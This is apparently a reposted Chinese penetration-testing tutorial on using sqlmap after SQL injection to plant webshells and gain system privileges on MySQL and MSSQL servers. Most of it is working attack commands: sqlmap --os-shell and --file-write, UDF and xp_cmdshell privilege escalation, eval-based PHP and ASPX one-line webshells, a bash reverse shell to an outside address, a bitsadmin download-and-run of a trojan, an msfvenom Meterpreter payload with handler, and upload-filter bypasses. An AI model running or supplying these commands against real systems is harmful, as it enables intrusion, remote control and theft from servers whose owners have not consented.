SQLmap注入获取Webshell及系统权限研究

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLmap注入获取Webshell及系统权限研究相关的知识,希望对你有一定的参考价值。

使用SQLmap除了能进行SQL注入渗透测试外,其还提供了强大的命令执行功能可以进行udf提权、MSSQL下xp_cmdshell提权,在条件允许的情况下,可以获取操作系统shell和SQL shell,有的还可以直接获取系统权限。本文对SQLmap如何获取webshell及系统权限进行讨论。

注意:有些系统,由于配置失误等原因,虽然能够进行sql注入,或者具备获取webshell条件,使用sqlmap也能进行连接,但由于某种原因,可能无法获取webshell或shell,渗透的思路千万条,只有有一条通往webshell获取成功的道路即可,所以不必纠结必须要用sqlmap。

本文为渗透入门到实战专栏第12篇文章,专栏详细情况请移步:渗透入门到实战专栏

一、SQLmap获取webshell及提权常见命令

1. sqlmap常见获取webshell相关命令

(1)mssql判断是否dba权限

--is-dba检测DBMS当前用户是否DBA,如果是则显示结果为True

(2)数据库交互模式shell

  --sql-shell 提示交互式SQL的shell,可以在该shell下执行sql查询命令

(3)操作系统交互命令

  --os-cmd=OSCMD   执行操作系统命令(OSCMD),oscms命令为dos常见命令

(4)文件读取和写入命令

  --file-read=RFILE从后端的数据库管理系统文件系统读取文件,例如SQL Server2005中读取二进制文件example.exe:

sqlmap.py -u”http://192.168.136.129/get.asp?name=luther“–file-read “C:/example.exe” -v 1

  --file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件WFILE

  --file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径

(5)数据库权限提升

 --priv-esc          数据库进程用户权限提升

(6)meterpreter提权(实际测试没有成功过!)

  --os-pwn       获取一个OOB shell,meterpreter或VNC

  --os-smbrelay   一键获取一个OOBshell,meterpreter或VNC

  --os-bof        存储过程缓冲区溢出利用

(7)获取数据库root账号密码及其它账号密码,sa权限用户获取当前mssql下用户密码

  --passwords  枚举数据库管理系统用户密码哈希,程序有时候会自动对密码进行破解。

   特别注意由于word文件编辑会自动更新,一般情况下参数前多为“--”。

2.Mysql数据库直接连接提权

sqlmap -d "mysql://root:[email protected]:3306/test" --os-shell

可以直接获取shell,有的是系统权限。

3.MySQL数据库sql-shell下udf提权

(1)连接数据库

sqlmap.py -d mysql://root:[email protected]:3306/test --sql-shell

(2)查看版本

select @@version;

(3)查看插件目录

select @@plugin_dir;

例如显示结果为:

d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\

(4)操作sqlmap上传lib_mysqludf_sys到MySQL插件目次:

sqlmap.py -d mysql://root:[email protected]:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll --file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll

(5)创建sys_exec函数

CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

(6)创建sys_eval函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

(7)执行命令

select sys_eval('ver');
select sys_eval('whoami');
select sys_eval('net user');

4.mssql直连数据库

(1)安装pymssql模块

sqlmap直连mssql数据需要安装pymssql,其下载地址:https://github.com/pymssql/pymssql,也可以通过pip来进行安装,先安装pip,pip下载地址:https://pypi.org/project/pip/#files,将pip解压后,例如C:\Python27\pip-10.0.1,执行setup install命令,安装成功后到Scripts目录,执行pip install pymssql即可,如图1所示,后续安装其他模块,pip install 模块名称即可。

技术分享图片

图1使用pip安装pymssql

(2)直连获取shell

  如果当前用户是sa,如图2所示,可以通过sqlmap进行直接连接获取shell,一般情况下都可以,但如果mssql进行了安全设置,有可能会导致提权失败。

sqlmap.py -d mssql://sa:s***[email protected]***.***:1433/master --os-shell

技术分享图片

图2mssql直连获取shell

二、获取webshell或者shell条件

1.php+MySQL类型网站获取webshell条件

(1)MySQL root账号权限,也就配置MySQL连接的账号为root账号,不是root账号具备root权限也可以。

(2)GPC配置关闭,能使用单引号

(3)有网站的绝对路径,且具备可以在文件夹写入文件的权限

(4)没有配置secure-file-priv属性

2.MSSQL+ASP/Asp.net类型网站获取webshell条件

(1)数据库用户是sa

(2)能够创建xp_cmdshell,有的情况下虽然是sa账号,也能连接,但无法使用xp_cmdshell。

(3)知道真实路径

(4)可以通过echo命令来生成shell

注入点直接写

;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx' ;--

命令行下:

echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx'

三、获取webshell权限思路及命令

1.php类型网站获取webshell权限思路

(1)获取os-shell

sqlmap.py -u "http://www.****.cn/index.php?id=1" --os-shell

(2)选择编程语言的类型,选择“4”,默认1-asp,2-aspx,3-jsp,4-php,可以根据其提示情况进行选择,如图3所示。

技术分享图片

图3web服务器支持的应用程序类型

(3)物理路径的选择。如图4所示,sqlmap会给出四个选项供选择:

1-普通路径(common location),例如C:/xampp/htdocs,c:/wamp/www、c:/inetpub/wwwroot,默认的一些web路径。

2-指定路径,如果用户知道路径则可以手工输入网站的物理路径地址。

3-指定字典文件进行暴力破解,可以使用默认的字典文件进行暴力破解,还可以添加字典文件进行暴力破解。

4-暴力搜索地址,对地址进行搜索查找。

技术分享图片

图4指定网站的物理路径

(4)获取webshell

   在sqlmap中无法直接获取webshell,如果os-shell整个命令执行成,则会上传一个文件到网站,成功后会给出一个地址提示,访问给地址进行文件上传即可获取webshell。

(5)php获取webshell难点

   在整个过程中获取网站的真实物理路径至关重要,可以通过phpinfo函数,测试页面以及报错信息来获取真实网站物理路径地址,如果获取了管理员账号,还可以登录后台,有些系统会给出系统运行信息,其中包含数据库物理路径以及网站路径地址等。如果实在无法获取则可以对1、3和4选项进行测试。

2.直接写入webshell到网站

sqlmap.py -u "http://www.****.cn/index.php?id=1" --file-write /root/testxxxyyy.php --file-dest /var/www/html/shell.php

将本地的testxxxyyy.php文件写入到目标的shell.php文件,如果远程存在该文件,则无法写入。

3.os-cmd下载文件并执行

sqlmap.py -u http://www.****.cn/index.php?id=1 --os-cmd “
bitsadmin /transfer myjob1 /download /priority normal 
http://IP/bucgoaqx/themes/coffe/b.exe
 c:\wmpub\b.exe

执行上面命令后,会下载http://IP/bucgoaqx/themes/coffe/b.exe程序到c:\wmpub\目录,保存为b.exe文件,b.exe可以是木马文件,也可以是msf平台生成的类nc程序。执行b.exe后,在msf平台下即可使用Meterpreter进行后渗透处理。

4.通过sqlmap连接mysql获取shell

(1)直接连接数据库

sqlmap.py -d "mysql://root:[email protected]:3306/mysql" --os-shell

(2)通过选择32位或者64位操作系统,获取webshell,执行

bash -i >& /dev/tcp/192.168.1.3/8080 0>&1

(3)反弹到服务器192.168.1.3,在实际中192.168.1.3为外网独立IP。

(4)通过echo命令生成shell:

echo "<?php @eval($_POST['chopper']);?>" >/data/www/phpmyadmin/1.php

如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新,下面命令可参考:

use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;

注意:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题。

5.通过msf反弹获取shell

(1)使用msfvenom生成msf反弹的php脚本木马,默认端口为4444:

msfvenom  -p  php/meterpreter/reverse_tcp LHOST=192.168.1.3 -f raw > test.php

(2)在独立IP或者反弹服务器上运行msf依次执行以下命令:

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.3  //192.168.1.3为反弹监听服务器IP
show options
run 0 或者exploit

(3)上传并执行php文件

将test.php上传到192.168.1.2服务器上面,访问后即可获取msf反弹shell

http:// 192.168.1.2:8080/test.php

6.通过phpmyadmin管理界面查询生成webshll

select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'D:/work/WWW/shell.php'

7.后台账号登录管理后台,寻找上传点

(1)后台直接上传webshell

(2)抓包构建绕过防护上传webshell

(3)iis6畸形文件漏洞绕过,也即上传1.asp;.jpg图片一句话木马

(4)iis7 cgi解析漏洞,上传webshell图片文件,访问http://some.com/1.jpg/1.php

(6)Fck文件二次上传获取webshell

(7)其它上传漏洞获取webshell

四、获取system权限思路

1.mssql和mysql数据库获取system权限

   通过sql注入点或者直连--os-shell,成功后执行whoami查看当前用户权限,可以通过下载nc等程序,反弹shell到独立服务器,具体提权思路如下:

(1)生成系统信息wintg.txt

systeminfo >wintg.txt

(2)下载或者保存内容wintg.txt,通过Windows-Exploit-Suggester进行查看漏洞情况

windows-exploit-suggester.py  --audit -l --database 2018-04-03-mssb.xls --systeminfo wintg.txt >vip.txt //将审计情况保存为vip.txt
windows-exploit-suggester.py -d 2018-04-03-mssb.xls  --audit -l --systeminfo wintg.txt

(3)从vip.txt中去找时间最新的未修补漏洞EXP

(4)执行exp提权

2.直接system权限

   有些服务器配置的数据库服务权限较高,通过sqlmap可能直接获取系统权限。

3.社工提权

   有些root/sa账号对应的数据库密码即为windows/linux的系统管理员帐号。

4.密码账号暴力破解

   通过前面获取了系统准确账号信息,可以尝试ssh/windows终端账号暴力破解。


更多有关sqlmap精彩技术文章,请订阅专栏:渗透攻击入门到实践,让SQLmap子*弹飞一会儿


以上是关于SQLmap注入获取Webshell及系统权限研究的主要内容,如果未能解决你的问题,请参考以下文章

通过sql注入漏洞读写文件获取webshell

MySQL注入点写入WebShell的几种方式

soap注入某sql2008服务器结合msf进行提权

sqlmap从入门到精通-第四章-4-8 sqlmap数据库拖库攻击与防范

Sqlmap安装及使用

MSSQL DBA权限获取WEBSHELL的过程